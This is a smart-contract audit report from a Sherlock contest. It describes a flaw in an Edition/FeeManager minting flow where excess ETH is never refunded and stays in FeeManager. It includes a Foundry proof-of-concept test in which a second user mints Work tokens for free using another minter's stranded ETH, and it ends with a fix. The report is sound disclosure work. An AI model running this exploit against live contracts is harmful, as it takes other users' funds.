ETH refund during minting does not work, stuck ETH can be used to mint work tokens for free

Summary

Whenever user mints a token through Edition contract with more ETH than required, _excessRefund doesn't work as intended and will never refund the excess ETH. Rest of the ETH will be in FeeManager contact, which can be used by other users (attackers) to mint Work tokens for free.

Vulnerability Detail

FeeManager._collectMintFee does all the ETH transfers to all the parties when Work tokens are minted, and it expects that there is enough ETH in the FeeManager contract to perform all the transfers. But the important part is that FeeManager._collectMintFee does not check if there is any excess ETH left in the contract after all the transfers to all the parties are made.

    function _collectMintFee(
        IEdition edition_,
        uint256 tokenId_,
        uint256 amount_,
        address payer_,
        address referrer_,
        Fee memory fee_
    ) internal {
        if (fee_.amount == 0) return;

        // For free mints:
        // - Protocol Share = 1/3 of flat fee
        // - Edition Share = 2/3 of flat fee
        //
        // For priced mints:
        // - Protocol Share = 100% of flat fee, shared as follows:
        // - Edition Share = 100% of creator-specified mint cost, 0% of flat fee
        //
        // In both cases, the protocol and edition shares may be split as follows:
        // - Protocol Share
        //   - If a referred mint, mint referrer gets 50% of the protocol share
        //   - If a referred collection, collection referrer gets 25% of the protcol share
        //   - Protocol fee receiver gets the remainder of the protocol share
        // - Edition Share
        //   - Attributions equally split 25% of the edition share, if applicable
        //   - Creator gets the remainder of the edition share

        uint256 protocolFee = protocolFlatFee * amount_;
        uint256 protocolShare;
        if (fee_.amount == protocolFee) {
            protocolShare = protocolFee * protocolFeeshareBps / MAX_BPS;
        } else {
            protocolShare = protocolFee;
        }

        _route(
            Fee({asset: fee_.asset, amount: fee_.amount - protocolShare}),
            _feeReceivers[getRouteId(edition_, tokenId_)],
            payer_
        );

        uint256 referrerShare =
            _splitProtocolFee(edition_, fee_.asset, protocolShare, payer_, referrer_);
        emit FeeCollected(address(edition_), tokenId_, fee_.asset, fee_.amount, referrerShare);
    }

Let's follow how ETH flows through the minting process. For example's sake:

mint fee for 1 token = 0.8 ether
user sends 1 ether

User calls Edition.mint function to mint 1 token

Edition.mint{ value: 1 ether }(...)
Edition balance = 1 ether
FeeManager balance = 0

Edition contract calls FeeManager.collectMintFee

FeeManager.collectMintFee{ value: msg.value }(...)
Edition balance = 0
FeeManager balance = 1 ether

FeeManager distributes ETH to all of the parties, FeeManager does not send excess ETH back to Edition
```
Edition balance = 0 
FeeManager balance = 0.2 ether
```
Edition contract calls _refundExcess, no tokens are sent back to the user, because Edition ETH balance is 0.

As of result, excess ETH tokens are left in FeeManager contract even though it is expected to be returned to the user, who called the Edition.mint function.

Furthermore, excess ETH that is stuck inside the FeeManager contract can be used to mint Work tokens for free, because FeeManager.collectMintFee actually does not require ETH to be transferred within the function to successfully mint Work tokens.

POC

Foundry POC

### Instructions Copy the code below and add it under `Edition.t.sol`. Run `forge test --mt "test_excessRefund_issue" --mc "EditionTest" -vv` The test should return this ```shell [PASS] test_excessRefund_issue() (gas: 265839) Logs: Fee Manager ETH balance: 0 Alice ETH balance: 1000000000000000000 Bob ETH balance: 1000000000000000000 Bob Work balance: 0 ----- Fee Manager ETH balance: 189400000000000000 Alice ETH balance: 800000000000000000 Bob ETH balance: 1000000000000000000 Bob Work balance: 0 ----- Fee Manager ETH balance: 94000000000000000 Alice ETH balance: 800000000000000000 Bob ETH balance: 1002700000000000000 Bob Work balance: 9 ----- Alice lost ETH: 200000000000000000 Bob gained ETH: 2700000000000000 Bob gained Works: 9 ``` From logs we can determine that: - Bob gained ETH and Work tokens for free - Alice's excess ETH was not returned ### Test script ```solidity function _logBalances(FeeManager fm, address alice, address bob) private { console.log("Fee Manager ETH balance: %d", address(fm).balance); console.log("Alice ETH balance: %d", address(alice).balance); console.log("Bob ETH balance: %d", address(bob).balance); console.log("Bob Work balance: %d", edition.balanceOf(bob, 1)); console.log("-----"); } function test_excessRefund_issue() public { address alice = address(0x123); address bob = address(0x456); vm.deal(alice, 1 ether); vm.deal(bob, 1 ether); uint256 aliceBalance = address(alice).balance; uint256 bobBalance = address(bob).balance; uint256 bobWorkBalance = edition.balanceOf(bob, 1); // Fee Manager, alice, bob, zero balance before _logBalances(feeManager, alice, bob); // Alice mints a work with excess ETH vm.prank(alice); edition.mint{value: 0.2 ether}(alice, 1, 1, address(0), new bytes(0)); // Fee Manager, alice, bob balance after alice's mint _logBalances(feeManager, alice, bob); uint256 maxSupply = edition.maxSupply(1); uint256 totalSupply = edition.totalSupply(1); uint256 maxTokensThatCanBeMinted = maxSupply - totalSupply; // Calculate how many work tokens can be minted uint256 amountOfTokens = address(feeManager).balance / 0.0106 ether; // 0.01 mintFee + 0.0006 protocolFlatFee amountOfTokens = amountOfTokens > maxTokensThatCanBeMinted ? maxTokensThatCanBeMinted : amountOfTokens; vm.prank(bob); // Bob calls the mint and does not send any ETH edition.mint(bob, 1, amountOfTokens, bob, new bytes(0)); // Fee Manager, alice, bob balance after bob's mint _logBalances(feeManager, alice, bob); // The difference between balances uint256 aliceBalanceAfter = address(alice).balance; uint256 bobBalanceAfter = address(bob).balance; uint256 bobWorkBalanceAfter = edition.balanceOf(bob, 1); console.log("Alice lost ETH: %d", aliceBalance - aliceBalanceAfter); console.log("Bob gained ETH: %d", bobBalanceAfter - bobBalance); console.log("Bob gained Works: %d", bobWorkBalanceAfter - bobWorkBalance); } ```

Impact

Minter will lose excess ETH, even though user is expected to get the excess ETH back, users/attackers can use the excess ETH to mint work tokens for free.

Code Snippet

FeeManager._collectMintFee

_refundExcess used in the Edition minting functions: Edition.mint Edition.mintWithComment Edition.mintBatch(address,uint256[],uint256[],bytes) Edition.mintBatch(address[],uint256,uint256,bytes)

Tool used

Manual Review

Recommendation

For _refundExcess function in Edition actually returns excess ETH, make sure that FeeManager after all the transfers in the _collectMintFee checks if any excess ETH is left. If there is - send the ETH back to Edition contract.

This will make the _refundExcess function to return the excess ETH.

sherlock-audit / 2024-04-titles-judging

Brenzee - ETH refund during minting does not work, stuck ETH can be used to mint work tokens for free #409